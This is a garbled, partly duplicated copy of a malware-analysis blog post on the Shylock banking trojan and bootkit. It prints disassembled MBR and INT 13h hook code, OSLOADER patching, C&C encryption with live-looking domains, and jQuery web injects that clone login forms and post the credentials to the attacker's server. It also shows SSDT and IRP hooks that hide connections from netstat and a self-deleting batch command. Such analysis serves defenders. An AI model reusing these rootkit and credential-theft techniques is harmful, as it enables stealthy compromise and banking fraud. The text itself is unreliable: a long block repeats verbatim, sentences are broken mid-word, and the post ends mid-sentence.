MEM:9E111 jz short Int13Hook_ReadRequest
MEM:9E113 cmp ah, 2 ; 2) DISK - READ SECTOR(S) INTO MEMORY
MEM:9E116 jz short Int13Hook_ReadRequest
MEM:9E118 popf
MEM:9E119
MEM:9E119 [jmp opcode, followed with the original INT 13 vector]
MEM:9E11A INT13HANDLER db 4 dup(0) ; original vector is stored here
MEM:9E11E
MEM:9E11E Int13Hook_ReadRequest:
MEM:9E11E mov byte ptr cs:INT13LASTFUNCTION, ah
MEM:9E123 popf
MEM:9E124 pushf ; push Flags, simulating INT
MEM:9E125 call dword ptr cs:INT13HANDLER ; call original handler
MEM:9E12A jb short Int13Hook_ret ; quit if failed
MEM:9E12C pushf
MEM:9E12D cli
MEM:9E12E push es
MEM:9E12F pusha
MEM:9E130 [mov ah, ??] opcode - operand is patched at MEM:9E11E
MEM:9E131 INT13LASTFUNCTION:
MEM:9E131 [mov ah, ??] operand, 0 by default
MEM:9E132 cmp ah, 42h ; 'B' ; IBM/MS INT 13 Extensions - EXTENDED READ
MEM:9E135 jnz short Int13Hook_notextread
MEM:9E137 lodsw
MEM:9E138 lodsw
MEM:9E139 les bx, [si]
MEM:9E13B assume es:nothing
OSLOADER
module (part of NTLDR
) - the patched code is invoked during the system partition reading during Windows start-up. OSLOADER
is executed in protected mode, and by patching it, Shylock will force it to execute the payload loader code in protected mode as well.F0 85 F6 74 21 80
, as shown below:MEM:9E149 Int13Hook_scan_loop:
MEM:9E149 repne scasb
MEM:9E14B jnz short Int13Hook_scan_done
MEM:9E14D cmp dword ptr es:[di], 74F685F0h ; F0 85 F6 74
MEM:9E155 jnz short Int13Hook_scan_loop
MEM:9E157 cmp word ptr es:[di+4], 8021h ; 21 80
MEM:9E15D jnz short Int13Hook_scan_loop
.text:00422A6A E8 C2 12 00 00 call near ptr unk_47DE1
.text:00422A6F 8B F0 mov esi, eax
.text:00422A71 85 F6 test esi, esi
.text:00422A73 74 21 jz short loc_46B46
.text:00422A75 80 3D F8 AE 43 00 00 cmp byte_43AEF8, 0
OSLOADER
, the kernel patch from the sector #58
is applied to the loader, by directly overwriting its bytes:.text:00422A6A E8 C2 12 00 00 call near ptr unk_47DE1
.text:00422A6F B8 33 E2 09 00 mov eax, offset off_9E233
.text:00422A74 FF D0 call eax ; off_9E233
.text:00422A76 90 nop
.text:00422A77 90 nop
.text:00422A78 90 nop
.text:00422A79 90 nop
.text:00422A7A 90 nop
.text:00422A7B 90 nop
.text:00422A7C 90 nop
.....
off_9E233
points to the code loaded from the sectors #58
-#61
, and corresponds to the Kernel Patcher shellcode. Once it gets control within OSLOADER
, it is executed in protected mode and starts invoking the consequent stages of the bootkit execution that lead to the eventual driver installation.0x2FE483F3
for an enumerated driver vmscsi.sys
(part of VMWare). The code explicitly checks the hash against a hard-coded value of 0x2FE483F3
, and in case of a match, it quits.GetCommandLineA()
is called with a stand-alone stub with a hard-coded API hash of 0xC66A1D2E
:DWORD GetHash(char *szApi)
{
DWORD dwHash = 0;
for (DWORD i = 0; i < strlen(szApi); i++)
{
BYTE b = szApi[i];
dwHash ^= b;
__asm
{
ror dwHash, 3
}
if (b == 0)
{
break;
}
}
return dwHash;
}
svchost.exe
and starts a remote thread in it.FIREFOX.EXE
), it will load nss3.dll
and nspr4.dll
. Next, it will place these hooks:IEXPLORE.EXE
), it will load mshtml.dll
and then place following hooks:EXPLORER.EXE
) or system processes USERINIT.EXE
or RUNDLL32.EXE
, then it will hook:user.js
files found in %APPDATA%\Mozilla\Firefox\Profiles
directory, thus manipulating the following security settings of the Firefox browser:security.enable_tls = false
network.http.accept-encoding = ""
secnetwork.http.accept-encodingurity.warn_viewing_mixed = false
security.warn_viewing_mixed.show_once = false
security.warn_submit_insecure = false
security.warn_submit_insecure.show_once = false
%APPDATA%\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys
directory. Flash cookies are persistent to traditional cookies removal by the end user, as they are not controlled through the cookie privacy controls in a browser.https://wguards.cc/ping.html
https://hiprotections.su/ping.html
https://iprotections.su/ping.html
/files/hidden7770777.jpg
int iGetEncodedStringLen(DWORD dwKey, char *szString)
{
int iResult;
int iCount;
if (szString)
{
iCount = 0;
if ((BYTE)dwKey ^ *(LPBYTE)szString)
{
do
{
++iCount;
dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
}
while ((BYTE)dwKey != *(LPBYTE)(iCount + szString));
}
iResult = iCount;
}
else
{
iResult = 0;
}
return iResult;
}
void DecodeString(void *szEncrypted, unsigned int dwKey, int iFlag)
{
char b1;
char b2;
bool bEndOfString;
if (szEncrypted)
{
while (1)
{
b1 = *(LPBYTE)szEncrypted;
b2 = dwKey ^ *(LPBYTE)szEncrypted;
*(LPBYTE)szEncrypted = b2;
if (iFlag == 1)
{
bEndOfString = b2 == 0;
}
else
{
if (iFlag)
{
goto skip_check;
}
bEndOfString = b1 == 0;
}
if (bEndOfString)
{
return;
}
skip_check:
szEncrypted = (char *)szEncrypted + 1;
dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
}
}
}
char szTest[] = "\xE7\xEB\xBB\x91" // key
"\x00\x00\x00\x00" // 4 zeroes
"\x8F\xC8\xB9\x9A\xD0\x72\xC6\x79\x68\xF3"
"\xB0\xE3\x29\xC4\x12\x40\x34\x0F\x92\x6A"
"\x7A\x96\xBE\xA8\xE7\x30\xD8\xDE\xCB";
if (iGetEncodedStringLen(*(DWORD*)szTest, szTest + 8) > 0)
{
DecodeString(szTest + 8, *(DWORD*)szTest, 1);
MessageBoxA(NULL, szTest + 8, NULL, MB_OK);
}
wguards.cc
becomes ei0nciwerq7q8.wguards.cc
.ca5f2abe
' to the modified domain name, and then uses that string as a seed to generate a 256-byte RC4 key. The new RC4 key is then used to encrypt the transferred data. Once encrypted, the data is base-64 encoded, URL-escaped, and passed as a request to the C&C server within a z=
URL parameter in it, e.g.:http://ei0nciwerq7q8.wguards.cc/ping.html?z=[encrypted_data]
[encrypted_data]
is a result of:url_escape(base64_encode(RC_encrypt(url_escape(text_log), "ei0nciwerq7q8.wguards.ccca5f2abe")))
z=
parameter contents, url-unescapes it, base64-decodes it, then RC4-decrypts it by using the server's own name with 'ca5f2abe
' string appended and used as a password, then url-unescapes the resulting data which is a plain text.rc4_init()
and rc4_crypt()
, published earlier in this post, and then calling them with the modified domain name used as RC4 'password', Shylock traffic can now be fully decrypted, as demonstrated below:cmpinfo
' data is accompanied with a control sum and a hash to ensure data integrity ('key
' and 'id
'), it shows an installation mode ('master
'), botnet name ('net2
'), command name ('log
'). The data includes system snapshot log that enlists running processes, installed applications, programs registered to run at startup, HDD/CPU system info, and many other details about the compromised OS. Shylock also recognises and reports all major antivirus/firewall products by querying a long list of process names and registry entries.svchost.exe
and explorer.exe
and runs a self-termination batch script, thus quitting its 'installation' phase of running.cmd
' (command) parameter set to 'cfg
' (configuration).net=net2&cmd=cfg
', then feed it to the debugged code to calculate the 'key
' and 'id
' parameters for us. The resulting request will be:key=a323e7d52d&id=47E8ABF258AB82ECEF14F79B37177391&inst=master&net=net2&cmd=cfg
https://y85rqmnuemzxu5z.iprotections.su/ping.html
, so let's encrypt it with the RC4 key of 'y85rqmnuemzxu5z.iprotections.suca5f2abe
', and then base64-encode it. The server will reply with the base64-encoded text to such request, transferred via HTTPS:id
' value that was passed inside the request to the server, i.e. '47E8ABF258AB82ECEF14F79B37177391
' in our example above. By using this value as RC4 'password', the server response can now be decrypted with the same tool as before. The decrypted file turns out to be an XML file with the configuration parameters in it:<hijackcfg> <botnet name="net2"/> <timer_cfg success="1200" fail="1200"/> <timer_log success="600" fail="600"/> <timer_ping success="1200" fail="1200"/> <urls_server> <url_server url="https://protections.cc/ping.html"/> <url_server url="https://eprotections.su/ping.html"/> <url_server url="https://iprotections.su/ping.html"/> </urls_server>
... and so on The XML enlists other plugin URLs, backconnect server IP and port number used by the reverse SOCKS proxy server connection for live VNC sessions, URL of the latest Shylock executable for an update. All the most important plugins contained in the configuration file were already explained before. The C&C list is refreshed with the new servers. The last remaining bit here is an 'httpinject
' parameter specified as:<httpinject value="on" url="/files/hidden7770777.jpg" md5="c2ffb650839873a332125e7823d36f9e"/>It's the same name as the one specified in the executable stub along with 3 other C&C URLs, only now it's clear this file contains browser injection/redirection logic. So let's fetch this file by directly downloading it from C&C as a static file.
style="display:none;"In another scenario, the web inject contains JQuery script that detects the login form on a page, then clones it with JQuery's
.clone()
command:var ombtrwcf756gsw = frm.clone(false).insertAfter(frm).show().attr('id', 'log-on-form');The screenshot below shows the result of such cloning:
jQuery(this).hide();Once the user fills out the cloned form with the login details and then presses its Login button, the entered details will populate the original form, that will then be submitted by clicking the original Login button, in order to allow the user to log on successfully:
jQuery('#usr_name').val(lvltxt.qqqrcs06tl9npo);At the same time, the fields of the cloned form will be posted to the attacker's server (cross-domain) in the background (with
jQuery('#usr_password').val(lvltxt.pwd);
jQuery('.login-button:first').find('div').click();
XDomainRequest()
).EnableLUA = 0x00000000
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
IRP_MJ_DEVICE_CONTROL
dispatch routine. On a pre-Vista Windows OS, it will also hook IRP_MJ_DEVICE_CONTROL
dispatch routine within TCP driver.netstat
- a tool that is often used by technically savvy users to check for active connections that are present on a compromised PC: to inspect any open ports and to see what executables are holding any active connections. In those scenarios where Shylock engages its user-mode VNC component, the remote attacker will have full remote access to the compromised system: its graphical desktop will be fully relayed to the attacker, along with the keyboard and mouse events. The generated VNC traffic is thus relatively 'heavy' and so, there is a high chance it will eventually draw attention from the end user (e.g. the user might keep wondering why the modem LEDs are blinking so wildly). In that case, the netstat
tool becomes one of the first tools to be run to see what's going with a system, and Shylock doesn't like that.netstat
is run, its calls are marshalled into the kernel and are eventually handled by "NSI proxy" driver. The hook it installs is known as IRP
-hook. The hook handler it places will monitor enumerated connections, and whenever it locates a TCP connection that involves any particular port number that it needs to hide (e.g. responsible for VNC traffic), it will remove such TCP connection entry from the enumerated list. The removal of element N
from the list is made by rewriting its contents with the contents of the element N+1
, and then decrementing the total number of list elements by 1
. As a result, the list of enumerated connections that is returned by netstat
will never contain any active connections that are held by Shylock's user-mode components.if (MajorVersion < 6) // if pre-Vista, hook Tcp driver; otherwise, skip this step
{
RtlInitUnicodeString(&uniTcpDevice, L"\\Device\\Tcp");
status = IoGetDeviceObjectPointer(&uniTcpDevice,
1u,
&FileObject,
&DeviceObject); // return device object
status2 = status;
if (status >= 0) // if status is OK
{
driverTcpDevice = (int)DeviceObject->DriverObject; // get driver object
IRP_MJ_DEVICE_CONTROL = driverTcpDevice + 0x70; // +0x70 is explained below
fn_IRP_MJ_DEVICE_CONTROL = *(DWORD *)(driverTcpDevice + 0x70);
if (fn_IRP_MJ_DEVICE_CONTROL) // if the returned dispatch routine is Ok
{
hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_tcp;
replace_original_IRP: // swap original pointer with the hook
_InterlockedExchange((signed __int32 *)IRP_MJ_DEVICE_CONTROL,
hook_IRP_MJ_DEVICE_CONTROL);
return 0;
}
return 0;
}
exit:
ms_exc.disabled = -1;
return status;
}
RtlInitUnicodeString((PUNICODE_STRING)&uniNsiDrvName, L"\\Driver\\nsiproxy");
status = ObReferenceObjectByName(&uniNsiDrvName,
64,
0,
0,
IoDriverObjectType,
0,
0,
&pNsiDrvObj); // get driver object
status2 = status;
if (status < 0)
{
goto exit;
}
IRP_MJ_DEVICE_CONTROL = pNsiDrvObj + 0x70; // 0x70 means
// MajorFunction[IRP_MJ_DEVICE_CONTROL]
fn_IRP_MJ_DEVICE_CONTROL_2 = *(int (__stdcall **)(DWORD, DWORD))(pNsiDrvObj + 0x70);
if (fn_IRP_MJ_DEVICE_CONTROL_2) // if the returned dispatch routine is Ok
{
hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_nsiproxy;
goto replace_original_IRP; // get the hooked DeviceIoControl,
// and swap it with the original one
}
+0x70
offset in the listing above is referencing MajorFunction[IRP_MJ_DEVICE_CONTROL]
within the driver object.#define IRP_MJ_MAXIMUM_FUNCTION 0x1b
..
typedef struct _DRIVER_OBJECT {
/* 2 */ CSHORT Type; // offset = 0x00
/* 2 */ CSHORT Size; // offset = 0x02
/* 4 */ PDEVICE_OBJECT DeviceObject; // offset = 0x04
/* 4 */ ULONG Flags; // offset = 0x08
/* 4 */ PVOID DriverStart; // offset = 0x0c
/* 4 */ ULONG DriverSize; // offset = 0x10
/* 4 */ PVOID DriverSection; // offset = 0x14
/* 4 */ PDRIVER_EXTENSION DriverExtension; // offset = 0x18
/* 4 */ UNICODE_STRING DriverName; // offset = 0x1c
/* 8 */ PUNICODE_STRING HardwareDatabase; // offset = 0x24
/* 4 */ PFAST_IO_DISPATCH FastIoDispatch; // offset = 0x28
/* 4 */ PDRIVER_INITIALIZE DriverInit; // offset = 0x2c
/* 4 */ PDRIVER_STARTIO DriverStartIo; // offset = 0x30
/* 4 */ PDRIVER_UNLOAD DriverUnload; // offset = 0x34
/* 4 */ PDRIVER_DISPATCH
MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; // offset = 0x38
} DRIVER_OBJECT;
MajorFunction
list contains IRP_MJ_MAXIMUM_FUNCTION + 1 = 0x1c
elements, and its offset in the structure is 0x38
. To find out what dispatch routine is references by the offset 0x70
, the offset 0x70
needs to be subtracted with 0x38
(list's offset within the structure), and divided by 4
(size of each pointer within the list):(0x70 - 0x38) / 4 = 0x0e
15
th (0x0e
) element of the dispatch routines is declared as:#define IRP_MJ_DEVICE_CONTROL 0x0e
netstat
.N
-th TCP entry with the TCP entry N+1
(TcpEntry[i]
<- data-blogger-escaped-code="">TcpEntry[i+1]):139
(or 0x8B00
after applying htons() to it). As a result, any connections that involve port 139
disappear from the netstat
output:IRP
hooks placed by Shylock driver onto IRP_MJ_DEVICE_CONTROL
dispatch routines of Tcp
and Nsi Proxy
drivers, it also hooks System Service Descriptor Table (SSDT). The functions it hooks are:KeServiceDescriptorTable
patching is surrounded with a conventional cli
/sti
blocks: the cli
-block disables interrupts and removes the write protection, the sti
-block restores everything back:.text:000130AC cli ; disable interrupts
.text:000130AD mov eax, cr0 ; get CR0
.text:000130B0 and eax, 0FFFEFFFFh ; reset Write Protect flag, when clear,
; allows supervisor-level procedures
; to write into read-only pages
.text:000130B5 mov cr0, eax ; save it back into CR0
.text:000130B8 mov eax, KeServiceDescriptorTable
.text:000130BD mov eax, [eax]
.text:000130BF mov dword ptr [ecx+eax], offset hook_ZwEnumerateKey
.text:000130C6 mov eax, KeServiceDescriptorTable
.text:000130CB mov eax, [eax]
.text:000130CD mov ecx, [ebp+var_14]
.text:000130D0 mov dword ptr [edx+eax], offset hook_ZwEnumerateValueKey
.text:000130D7 mov eax, KeServiceDescriptorTable
.text:000130DC mov eax, [eax]
.text:000130DE mov dword ptr [esi+eax], offset hook_ZwQuerySystemInformation
.text:000130E5 mov eax, KeServiceDescriptorTable
.text:000130EA mov eax, [eax]
.text:000130EC mov dword ptr [ecx+eax], offset hook_ZwQueryDirectoryFile
.text:000130F3 mov eax, cr0 ; get CR0 (with the cleared WP flag)
.text:000130F6 or eax, offset _10000H ; set Write Protect flag to prevent
; writing into read-only pages;
.text:000130FB mov cr0, eax ; save it back into CR0
.text:000130FE sti ; allow interrupts
hook_ZwQuerySystemInformation
is handling those ZwQuerySystemInformation()
calls that query for SystemProcessInformation
type of system information, and is basically a rip-off of Greg Hoglund's process hider.Skype Control API
that uses window messages for communication with Skype.SkypeControlAPIDiscover
message to find the Skype window handle. If Skype is running, it will respond with SkypeControlAPIAttach
message.Control API
by sending it window messages. When Skype handles the communication request coming from Shylock, it asks the user if the application in question should be allowed access to Skype or not. Shylock locates the window within Skype application that contains 2 horizontal buttons - first button is Allow
, second is Deny
. Next, it will start sending clicks to this window, aiming coordinates in a loop from left to right, top to bottom - this will eventually click the Allow
button as it's located left to Deny
button:main.db
file, which is a standard SQLite database. Shylock accesses this database and deletes its messages and file transfers so that the user could not find them in the history.netstat
any TCP connections held by the proxy with the remote attacker allows avoiding early detection of anomalies by network administrators.C:\GRLDR
C:\XELDZ
FlashPlayerUpdate = %PATH_TO_BOOTKIT%
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
\\.\PhysicalDrive0
DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY)
.55AA
- a signature that identifies a bootable drive..text:004024E9 xor ebx, ebx ; EBX is 0
...
.text:0040255E push ebx ; dwMoveMethod = 0
.text:0040255F push ebx ; lpDistanceToMoveHigh = 0
.text:00402560 push ebx ; lDistanceToMove = 0
.text:00402561 push edi ; hFile
.text:00402562 call ds:SetFilePointer ; set pointer at offset 0
.text:00402568 push ebx ; lpOverlapped
.text:00402569 lea eax, [ebp+NumberOfBytesRead]
.text:0040256C push eax ; lpNumberOfBytesRead
.text:0040256D push 512 ; nNumberOfBytesToRead
.text:00402572 lea eax, [ebp+Buffer]
.text:00402578 push eax ; lpBuffer
.text:00402579 push edi ; hFile
.text:0040257A call ds:ReadFile ; read 512 bytes
.text:00402580 call esi ; GetLastError
.text:00402582 test eax, eax
.text:00402584 jnz next_drive ; if error, skip it
.text:0040258A mov eax, 0AA55h ; compare last 2 bytes
.text:0040258F cmp [ebp+_510], ax ; (512-2) with 55AA-signature
.text:00402596 jnz short close_handle_next_drive
57
.58
, #59
, #60
, #61
, and also a number of sectors closer to the end of the physical drive (at a distance of around 17K-18K sectors before the end)./c ping -n 2 127.0.0.1 & del /q "%PATH_TO_BOOTKIT%" >> nul
-n
switch is used here as a method for the command line interpreter to wait for 2 seconds before it attempts to delete the bootkit executable.58
, #59
, #60
, #61
into the memory at 0x7E00
that immediately follows the MBR code loaded at address 0x7c00
. Next, it allocates a new area of memory and reads there 5 sectors (512 bytes each, 2,560 bytes in total) starting from the loaded MBR code, and following with the 4 sectors that it just read. It then passes control into the code copied into the newly allocated area.0x9E000
, that is formed as segment register * 16 +
offset of 0
:0x9E00 << 4 + 0 = 0x9E000
.0x5c
. The key is random, and it's implanted by the bootkit. The infected MBR code will then read the contents of the sector #57
into MBR, and use the same XOR key to decrypt it, thus fully restoring the original MBR in the sector #0
.0x10D
till 0x18F
, by applying the same XOR key. Once restored, these bytes turn out to be a hook handler code for the interrupt (INT
) #13h
- this interrupt is used to read sectors.INT 13h
hook handler is decoded, the original INT 13h
vector is replaced with the vector of the decoded one, and after that, the code jumps back into the original, fully restored MBR in sector 0
:MEM:9E0F0 mov eax, dword ptr ds:offset_4c ; 4Ch = 13h * 4
MEM:9E0F4 mov dword ptr es:INT13HANDLER, eax ; save into JMP instr below
MEM:9E0F9 mov word ptr ds:offset_4c, offset Int13Hook ; place the hook
MEM:9E0FF mov word ptr ds:offset_4e, es
MEM:9E103 sti
MEM:9E104 popad
MEM:9E106 pop ds
MEM:9E107 pop sp
MEM:9E108 jmp start ; just to BOOTORG (0000h:7C00h)
INT 13h
replaced, the original vector stored at ds:offset_4c
will now contain 9E10D
- the address of the INT 13h
hook handler within the allocated conventional memory. As the control is passed back into original MBR, the system will start booting normally and the hooked INT 13h
call will eventually be invoked by MBR code - this is when the hook handler will be activated.INT 13H
hook handler is interested in 2 types of INT 13
- normal sector read and an extended one used with the larger disks, as shown below:MEM:9E10D Int13Hook proc far
MEM:9E10D pushf ; handle two types of INT 13 below:
MEM:9E10E cmp ah, 42h ; 'B' ; 1) IBM/MS INT 13 Extensions - EXTENDED READ
MEM:9E111 jz short Int13Hook_ReadRequest
MEM:9E113 cmp ah, 2 ; 2) DISK - READ SECTOR(S) INTO MEMORY
MEM:9E116 jz short Int13Hook_ReadRequest
MEM:9E118 popf
MEM:9E119
MEM:9E119 [jmp opcode, followed with the original INT 13 vector]
MEM:9E11A INT13HANDLER db 4 dup(0) ; original vector is stored here
MEM:9E11E
MEM:9E11E Int13Hook_ReadRequest:
MEM:9E11E mov byte ptr cs:INT13LASTFUNCTION, ah
MEM:9E123 popf
MEM:9E124 pushf ; push Flags, simulating INT
MEM:9E125 call dword ptr cs:INT13HANDLER ; call original handler
MEM:9E12A jb short Int13Hook_ret ; quit if failed
MEM:9E12C pushf
MEM:9E12D cli
MEM:9E12E push es
MEM:9E12F pusha
MEM:9E130 [mov ah, ??] opcode - operand is patched at MEM:9E11E
MEM:9E131 INT13LASTFUNCTION:
MEM:9E131 [mov ah, ??] operand, 0 by default
MEM:9E132 cmp ah, 42h ; 'B' ; IBM/MS INT 13 Extensions - EXTENDED READ
MEM:9E135 jnz short Int13Hook_notextread
MEM:9E137 lodsw
MEM:9E138 lodsw
MEM:9E139 les bx, [si]
MEM:9E13B assume es:nothing
OSLOADER
module (part of NTLDR
) - the patched code is invoked during the system partition reading during Windows start-up. OSLOADER
is executed in protected mode, and by patching it, Shylock will force it to execute the payload loader code in protected mode as well.F0 85 F6 74 21 80
, as shown below:MEM:9E149 Int13Hook_scan_loop:
MEM:9E149 repne scasb
MEM:9E14B jnz short Int13Hook_scan_done
MEM:9E14D cmp dword ptr es:[di], 74F685F0h ; F0 85 F6 74
MEM:9E155 jnz short Int13Hook_scan_loop
MEM:9E157 cmp word ptr es:[di+4], 8021h ; 21 80
MEM:9E15D jnz short Int13Hook_scan_loop
.text:00422A6A E8 C2 12 00 00 call near ptr unk_47DE1
.text:00422A6F 8B F0 mov esi, eax
.text:00422A71 85 F6 test esi, esi
.text:00422A73 74 21 jz short loc_46B46
.text:00422A75 80 3D F8 AE 43 00 00 cmp byte_43AEF8, 0
OSLOADER
, the kernel patch from the sector #58
is applied to the loader, by directly overwriting its bytes:.text:00422A6A E8 C2 12 00 00 call near ptr unk_47DE1
.text:00422A6F B8 33 E2 09 00 mov eax, offset off_9E233
.text:00422A74 FF D0 call eax ; off_9E233
.text:00422A76 90 nop
.text:00422A77 90 nop
.text:00422A78 90 nop
.text:00422A79 90 nop
.text:00422A7A 90 nop
.text:00422A7B 90 nop
.text:00422A7C 90 nop
.....
off_9E233
points to the code loaded from the sectors #58
-#61
, and corresponds to the Kernel Patcher shellcode. Once it gets control within OSLOADER
, it is executed in protected mode and starts invoking the consequent stages of the bootkit execution that lead to the eventual driver installation.0x2FE483F3
for an enumerated driver vmscsi.sys
(part of VMWare). The code explicitly checks the hash against a hard-coded value of 0x2FE483F3
, and in case of a match, it quits.GetCommandLineA()
is called with a stand-alone stub with a hard-coded API hash of 0xC66A1D2E
:DWORD GetHash(char *szApi)
{
DWORD dwHash = 0;
for (DWORD i = 0; i < strlen(szApi); i++)
{
BYTE b = szApi[i];
dwHash ^= b;
__asm
{
ror dwHash, 3
}
if (b == 0)
{
break;
}
}
return dwHash;
}
svchost.exe
and starts a remote thread in it.FIREFOX.EXE
), it will load nss3.dll
and nspr4.dll
. Next, it will place these hooks:IEXPLORE.EXE
), it will load mshtml.dll
and then place following hooks:EXPLORER.EXE
) or system processes USERINIT.EXE
or RUNDLL32.EXE
, then it will hook:user.js
files found in %APPDATA%\Mozilla\Firefox\Profiles
directory, thus manipulating the following security settings of the Firefox browser:security.enable_tls = false
network.http.accept-encoding = ""
secnetwork.http.accept-encodingurity.warn_viewing_mixed = false
security.warn_viewing_mixed.show_once = false
security.warn_submit_insecure = false
security.warn_submit_insecure.show_once = false
%APPDATA%\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys
directory. Flash cookies are persistent to traditional cookies removal by the end user, as they are not controlled through the cookie privacy controls in a browser.https://wguards.cc/ping.html
https://hiprotections.su/ping.html
https://iprotections.su/ping.html
/files/hidden7770777.jpg
int iGetEncodedStringLen(DWORD dwKey, char *szString)
{
int iResult;
int iCount;
if (szString)
{
iCount = 0;
if ((BYTE)dwKey ^ *(LPBYTE)szString)
{
do
{
++iCount;
dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
}
while ((BYTE)dwKey != *(LPBYTE)(iCount + szString));
}
iResult = iCount;
}
else
{
iResult = 0;
}
return iResult;
}
void DecodeString(void *szEncrypted, unsigned int dwKey, int iFlag)
{
char b1;
char b2;
bool bEndOfString;
if (szEncrypted)
{
while (1)
{
b1 = *(LPBYTE)szEncrypted;
b2 = dwKey ^ *(LPBYTE)szEncrypted;
*(LPBYTE)szEncrypted = b2;
if (iFlag == 1)
{
bEndOfString = b2 == 0;
}
else
{
if (iFlag)
{
goto skip_check;
}
bEndOfString = b1 == 0;
}
if (bEndOfString)
{
return;
}
skip_check:
szEncrypted = (char *)szEncrypted + 1;
dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
}
}
}
char szTest[] = "\xE7\xEB\xBB\x91" // key
"\x00\x00\x00\x00" // 4 zeroes
"\x8F\xC8\xB9\x9A\xD0\x72\xC6\x79\x68\xF3"
"\xB0\xE3\x29\xC4\x12\x40\x34\x0F\x92\x6A"
"\x7A\x96\xBE\xA8\xE7\x30\xD8\xDE\xCB";
if (iGetEncodedStringLen(*(DWORD*)szTest, szTest + 8) > 0)
{
DecodeString(szTest + 8, *(DWORD*)szTest, 1);
MessageBoxA(NULL, szTest + 8, NULL, MB_OK);
}
wguards.cc
becomes ei0nciwerq7q8.wguards.cc
.ca5f2abe
' to the modified domain name, and then uses that string as a seed to generate a 256-byte RC4 key. The new RC4 key is then used to encrypt the transferred data. Once encrypted, the data is base-64 encoded, URL-escaped, and passed as a request to the C&C server within a z=
URL parameter in it, e.g.:http://ei0nciwerq7q8.wguards.cc/ping.html?z=[encrypted_data]
[encrypted_data]
is a result of:url_escape(base64_encode(RC_encrypt(url_escape(text_log), "ei0nciwerq7q8.wguards.ccca5f2abe")))
z=
parameter contents, url-unescapes it, base64-decodes it, then RC4-decrypts it by using the server's own name with 'ca5f2abe
' string appended and used as a password, then url-unescapes the resulting data which is a plain text.rc4_init()
and rc4_crypt()
, published earlier in this post, and then calling them with the modified domain name used as RC4 'password', Shylock traffic can now be fully decrypted, as demonstrated below:cmpinfo
' data is accompanied with a control sum and a hash to ensure data integrity ('key
' and 'id
'), it shows an installation mode ('master
'), botnet name ('net2
'), command name ('log
'). The data includes system snapshot log that enlists running processes, installed applications, programs registered to run at startup, HDD/CPU system info, and many other details about the compromised OS. Shylock also recognises and reports all major antivirus/firewall products by querying a long list of process names and registry entries.svchost.exe
and explorer.exe
and runs a self-termination batch script, thus quitting its 'installation' phase of running.cmd
' (command) parameter set to 'cfg
' (configuration).net=net2&cmd=cfg
', then feed it to the debugged code to calculate the 'key
' and 'id
' parameters for us. The resulting request will be:key=a323e7d52d&id=47E8ABF258AB82ECEF14F79B37177391&inst=master&net=net2&cmd=cfg
https://y85rqmnuemzxu5z.iprotections.su/ping.html
, so let's encrypt it with the RC4 key of 'y85rqmnuemzxu5z.iprotections.suca5f2abe
', and then base64-encode it. The server will reply with the base64-encoded text to such request, transferred via HTTPS:id
' value that was passed inside the request to the server, i.e. '47E8ABF258AB82ECEF14F79B37177391
' in our example above. By using this value as RC4 'password', the server response can now be decrypted with the same tool as before. The decrypted file turns out to be an XML file with the configuration parameters in it:<hijackcfg> <botnet name="net2"/> <timer_cfg success="1200" fail="1200"/> <timer_log success="600" fail="600"/> <timer_ping success="1200" fail="1200"/> <urls_server> <url_server url="https://protections.cc/ping.html"/> <url_server url="https://eprotections.su/ping.html"/> <url_server url="https://iprotections.su/ping.html"/> </urls_server>
... and so onThe XML enlists other plugin URLs, backconnect server IP and port number used by the reverse SOCKS proxy server connection for live VNC sessions, URL of the latest Shylock executable for an update. All the most important plugins contained in the configuration file were already explained before. The C&C list is refreshed with the new servers. The last remaining bit here is an 'httpinject
' parameter specified as:<httpinject value="on" url="/files/hidden7770777.jpg" md5="c2ffb650839873a332125e7823d36f9e"/>It's the same name as the one specified in the executable stub along with 3 other C&C URLs, only now it's clear this file contains browser injection/redirection logic. So let's fetch this file by directly downloading it from C&C as a static file.
style="display:none;"In another scenario, the web inject contains JQuery script that detects the login form on a page, then clones it with JQuery's
.clone()
command:var ombtrwcf756gsw = frm.clone(false).insertAfter(frm).show().attr('id', 'log-on-form');The screenshot below shows the result of such cloning:
jQuery(this).hide();Once the user fills out the cloned form with the login details and then presses its Login button, the entered details will populate the original form, that will then be submitted by clicking the original Login button, in order to allow the user to log on successfully:
jQuery('#usr_name').val(lvltxt.qqqrcs06tl9npo);At the same time, the fields of the cloned form will be posted to the attacker's server (cross-domain) in the background (with
jQuery('#usr_password').val(lvltxt.pwd);
jQuery('.login-button:first').find('div').click();
XDomainRequest()
).EnableLUA = 0x00000000
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
IRP_MJ_DEVICE_CONTROL
dispatch routine. On a pre-Vista Windows OS, it will also hook IRP_MJ_DEVICE_CONTROL
dispatch routine within TCP driver.netstat
- a tool that is often used by technically savvy users to check for active connections that are present on a compromised PC: to inspect any open ports and to see what executables are holding any active connections. In those scenarios where Shylock engages its user-mode VNC component, the remote attacker will have full remote access to the compromised system: its graphical desktop will be fully relayed to the attacker, along with the keyboard and mouse events. The generated VNC traffic is thus relatively 'heavy' and so, there is a high chance it will eventually draw attention from the end user (e.g. the user might keep wondering why the modem LEDs are blinking so wildly). In that case, the netstat
tool becomes one of the first tools to be run to see what's going with a system, and Shylock doesn't like that.netstat
process, Shylock hooks the "NSI proxy" driver as it knows that user-mode netstat
calls are marshalled into the kernel and are eventually handled by this driver. The hook it installs is known as IRP
-hook. The hook handler it places will monitor enumerated connections, and whenever it locates a TCP connection that involves any particular port number that it needs to hide (e.g. responsible for VNC traffic), it will remove such TCP connection entry from the enumerated list. The removal of element N
from the list is made by rewriting its contents with the contents of the element N+1
, and then decrementing the total number of list elements by 1
. As a result, the list of enumerated connections that is returned by netstat
